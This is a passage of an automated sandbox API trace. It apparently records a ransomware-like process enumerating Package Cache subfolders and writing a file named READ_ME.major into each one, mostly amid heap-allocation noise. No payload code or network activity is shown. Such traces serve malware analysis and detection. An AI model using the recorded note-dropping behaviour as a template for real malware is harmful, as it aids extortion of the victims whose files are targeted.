cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0144.380] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0144.380] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] GetLastError () returned 0x12 [0144.380] SetLastError (dwErrCode=0x12) [0144.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d00e8 [0144.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.381] GetLastError () returned 0x12 [0144.381] SetLastError (dwErrCode=0x12) [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0144.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0144.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0144.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0bd8 [0144.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0144.381] GetLastError () returned 0x12 [0144.381] SetLastError (dwErrCode=0x12) [0144.381] GetLastError () returned 0x12 [0144.381] SetLastError (dwErrCode=0x12) [0144.381] GetLastError () returned 0x12 [0144.381] SetLastError (dwErrCode=0x12) [0144.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0598 [0144.381] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.382] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0598 | out: hHeap=0x570000) returned 1 [0144.382] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.383] CloseHandle (hObject=0x5bc) returned 1 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0bd8 | out: hHeap=0x570000) returned 1 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0144.383] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d00e8 | out: hHeap=0x570000) returned 1 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.383] GetLastError () returned 0x0 [0144.383] SetLastError (dwErrCode=0x0) [0144.383] GetLastError () returned 0x0 [0144.383] SetLastError (dwErrCode=0x0) [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0144.383] GetLastError () returned 0x0 [0144.383] SetLastError (dwErrCode=0x0) [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x2e40f20 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0144.383] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0bd8 [0144.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0144.383] GetLastError () returned 0x0 [0144.384] SetLastError (dwErrCode=0x0) [0144.384] GetLastError () returned 0x0 [0144.384] SetLastError (dwErrCode=0x0) [0144.384] GetLastError () returned 0x0 [0144.384] SetLastError (dwErrCode=0x0) [0144.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5a9008 [0144.384] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0144.476] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.476] CloseHandle (hObject=0x5bc) returned 1 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0bd8 | out: hHeap=0x570000) returned 1 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0144.477] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d0 | out: hHeap=0x570000) returned 1 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.477] GetLastError () returned 0x0 [0144.477] SetLastError (dwErrCode=0x0) [0144.477] GetLastError () returned 0x0 [0144.477] SetLastError (dwErrCode=0x0) [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0728 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.477] GetLastError () returned 0x0 [0144.477] SetLastError (dwErrCode=0x0) [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd880 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd880 | out: hHeap=0x570000) returned 1 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5a9008 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0144.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d00e8 [0144.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.477] GetLastError () returned 0x0 [0144.477] SetLastError (dwErrCode=0x0) [0144.477] GetLastError () returned 0x0 [0144.477] SetLastError (dwErrCode=0x0) [0144.477] GetLastError () returned 0x0 [0144.478] SetLastError (dwErrCode=0x0) [0144.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d01b0 [0144.478] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.479] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d01b0 | out: hHeap=0x570000) returned 1 [0144.479] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.480] CloseHandle (hObject=0x5bc) returned 1 [0144.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d00e8 | out: hHeap=0x570000) returned 1 [0144.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0144.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0144.480] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0144.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0728 | out: hHeap=0x570000) returned 1 [0144.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0144.480] GetLastError () returned 0x0 [0144.480] SetLastError (dwErrCode=0x0) [0144.480] GetLastError () returned 0x0 [0144.480] SetLastError (dwErrCode=0x0) [0144.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0144.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0bd8 [0144.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.480] GetLastError () returned 0x0 [0144.480] SetLastError (dwErrCode=0x0) [0144.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0144.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a9008 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1298 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a37b8 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0144.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0144.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0144.481] GetLastError () returned 0x0 [0144.481] SetLastError (dwErrCode=0x0) [0144.481] GetLastError () returned 0x0 [0144.481] SetLastError (dwErrCode=0x0) [0144.481] GetLastError () returned 0x0 [0144.481] SetLastError (dwErrCode=0x0) [0144.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5aa568 [0144.481] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0144.484] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.485] CloseHandle (hObject=0x5bc) returned 1 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d0 | out: hHeap=0x570000) returned 1 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0144.485] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0bd8 | out: hHeap=0x570000) returned 1 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0144.485] GetLastError () returned 0x0 [0144.485] SetLastError (dwErrCode=0x0) [0144.485] GetLastError () returned 0x0 [0144.485] SetLastError (dwErrCode=0x0) [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0144.485] GetLastError () returned 0x0 [0144.485] SetLastError (dwErrCode=0x0) [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5a37b8 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5aa568 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0144.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0a48 [0144.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.485] GetLastError () returned 0x0 [0144.485] SetLastError (dwErrCode=0x0) [0144.485] GetLastError () returned 0x0 [0144.486] SetLastError (dwErrCode=0x0) [0144.486] GetLastError () returned 0x0 [0144.486] SetLastError (dwErrCode=0x0) [0144.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0e30 [0144.486] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.487] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e30 | out: hHeap=0x570000) returned 1 [0144.487] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.487] CloseHandle (hObject=0x5bc) returned 1 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a48 | out: hHeap=0x570000) returned 1 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0144.488] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.488] GetLastError () returned 0x0 [0144.488] SetLastError (dwErrCode=0x0) [0144.488] GetLastError () returned 0x0 [0144.488] SetLastError (dwErrCode=0x0) [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0144.488] GetLastError () returned 0x0 [0144.488] SetLastError (dwErrCode=0x0) [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5aa568 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5b85a8 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0144.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0d68 [0144.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: 